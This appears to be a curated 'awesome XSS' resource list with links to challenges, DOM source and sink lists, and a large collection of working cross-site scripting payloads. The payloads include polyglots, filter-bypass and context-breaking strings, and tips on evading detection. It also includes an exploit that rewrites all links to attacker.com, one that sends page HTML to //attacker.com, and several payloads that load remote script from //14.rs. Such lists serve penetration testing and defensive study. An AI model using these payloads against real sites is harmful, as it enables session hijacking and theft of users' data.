An ongoing curated collection of awesome XSS software, libraries, frameworks, learning tutorials & practical resources cross-site scripting. Thanks to all contributors, you're awesome and wouldn't be possible without you! Our goal is to build a categorized community-driven collection of very well-known resources.
Cross-site Scripting (XSS) is a client-side code injection attack. Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application.
- Challenges
- Reads & Presentations
- Tools
- Mind maps
- DOM XSS
- Payloads
- Polyglots
- Tags and event handlers
- Context breaking
- Confirm Variants
- Exploits
- Probing
- Bypassing
- Encoding
- Tips & tricks
- prompt.ml
- alf.nu/alert1
- s-p-o-o-k-y.com
- xss-game.appspot.com
- polyglot.innerht.ml
- sudo.co.il/xss
- hack.me/t/XSS
- root-me.org
- chefsecure.com
- wechall.net
- codelatte.net/xss
- Bypassing XSS Detection Mechanisms
- XSS in Sarahah
- XSS in Facebook via PNG Content Type
- How I met your girlfriend
- How to Find 1,352 Wordpress XSS Plugin Vulnerabilities in one hour
- Blind XSS
- Copy Pest
A beautiful XSS mind map by Jack Masa, here
- Does your input go into a sink?
Vulnerable - It doesn't?
Not vulnerable
Source: An input that could be controlled by an external (untrusted) source.
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: A potentially dangerous method that could lead to a vulnerability. In this case a DOM Based XSS.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
This comprehensive list of sinks and source is taken from domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<iframe/src \/\/onload = prompt(1)
<x oncut=alert()>x
<svg onload=write()>
Here's an XSS polyglot that I made which can break out of 20+ contexts:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Explanation of how it works, here
Some less detected event handlers
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Some HTML Tags that you will be using
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Case: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Case: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Case: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Yep, confirm because alert is too mainstream.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">A good compilation of advanced XSS exploits can be found here
If nothing of this works, take a look at Awesome Bypassing section
First of all, enter a non-malicious string like d3v and look at the source code to get an idea about number and contexts of reflections.
Now for attribute context, check if double quotes (") are being filtered by entering x"d3v. If it gets altered to x"d3v, chances are that output is getting properly escaped. If this happens, try doing the same for single quotes (') by entering x'd3v, if it gets altered to x', you are doomed. The only thing you can try is encoding.
If the quotes are not being filtered, you can simply try payloads from Awesome Context Breaking section.
For javascript context, check which quotes are being used for example if they are doing
variable = 'value' or variable = "value"
Now lets say single quotes (') are in use, in that case enter x'd3v. If it gets altered to x\'d3v, try escaping the backslash () by adding a backslash to your probe i.e. x\'d3v. If it works use the following payload:
\'-alert()//
But if it gets altered to x\\\'d3v, the only thing you can try is closing the script tag itself by using
</script><svg onload=alert()>
For simple HTML context, the probe is x<d3v. If it gets altered to x>d3v, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potential filters. The dummy tag I like to use is x<xxx>. If it gets stripped or altered in any way, it means the filter is looking for a pair of < and >. It can simply bypassed using
<svg onload=alert()//
or this (it will not work in all cases)
<svg onload=alert()
If the your dummy tags lands in the source code as it is, go for any of these payloads
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Note: None of these payloads use single (') or double quotes (").
- Without event handlers
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
- Without space
<svg/onload=confirm()>
<iframe/src=javascript:alert(1)>
- Without slash (/)
<svg onload=confirm()>
<img src=x onerror=confirm()>
- Without equal sign (=)
<script>confirm()</script>
- Without closing angular bracket (>)
<svg onload=confirm()//
- Without alert, confirm, prompt
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
- Without a Valid HTML tag
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
- Bypass tag blacklisting
</ScRipT>
</script
</script/>
</script x>
| HTML | Char | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | URL |
|---|---|---|---|---|---|---|---|
" |
" | " |
quotation mark | u+0022 | \0022 | \42 | %22 |
# |
# | # |
number sign | u+0023 | \0023 | \43 | %23 |
$ |
$ | $ |
dollar sign | u+0024 | \0024 | \44 | %24 |
% |
% | % |
percent sign | u+0025 | \0025 | \45 | %25 |
& |
`& | & |
ampersand | u+0026 | \0026 | \46 | %26 |
' |
' | ' |
apostrophe | u+0027 | \0027 | \47 | %27 |
( |
( | ( |
left parenthesis | u+0028 | \0028 | \50 | %28 |
) |
) | ) |
right parenthesis | u+0029 | \0029 | \51 | %29 |
* |
* | * |
asterisk | u+002A | \002a | \52 | %2A |
+ |
+ | + |
plus sign | u+002B | \002b | \53 | %2B |
, |
, | , |
comma | u+002C | \002c | \54 | %2C |
− |
- | - |
hyphen-minus | u+002D | \002d | \55 | %2D |
. |
. | . |
full stop; period | u+002E | \002e | \56 | %2E |
/ |
/ | / |
solidus; slash | u+002F | \002f | \57 | %2F |
: |
: | : |
colon | u+003A | \003a | \72 | %3A |
; |
;` | ; |
semicolon | u+003B | \003b | \73 | %3B |
< |
< | < |
less-than | u+003C | \003c | \74 | %3C |
= |
= | = |
equals | u+003D | \003d | \75 | %3D |
> |
> | > |
greater-than sign | u+003E | \003e | \76 | %3E |
? |
? | ? |
question mark | u+003F | \003f | \77 | %3F |
@ |
@ | @ |
at sign; commercial at | u+0040 | \0040 | \100 | %40 |
[ |
[ | [ |
left square bracket | u+005B | \005b | \133 | %5B |
\ |
/ | \ |
backslash | u+005C | \005c | \134 | %5C |
] |
] | ] |
right square bracket | u+005D | \005d | \135 | %5D |
^ |
^ | ^ |
circumflex accent | u+005E | \005e | \136 | %5E |
_ |
_ | _ |
low line | u+005F | \005f | \137 | %5F |
` |
` | ` |
grave accent | u+0060 | \0060 | \u0060 | %60 |
{ |
{ | { |
left curly bracket | u+007b | \007b | \173 | %7b |
| |
| | | |
vertical bar | u+007c | \007c | \174 | %7c |
} |
} | } |
right curly bracket | u+007d | \007d | \175 | %7d |
http(s)://can be shortened to//or/\\or\\.document.cookiecan be shortened tocookie. It applies to other DOM objects as well.- alert and other pop-up functions don't need a value, so stop doing
alert('XSS')and start doingalert() - You can use
//to close a tag instead of>. - I have found that
confirmis the least detected pop-up function so stop usingalert. - Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use
<script src=//14.rs>instead of<script src="//14.rs"> - The shortest HTML context XSS payload is
<script src=//14.rs>(19 chars)
MIT License & cc license
This work is licensed under a Creative Commons Attribution 4.0 International License.
To the extent possible under law, Paul Veillard has waived all copyright and related or neighboring rights to this work.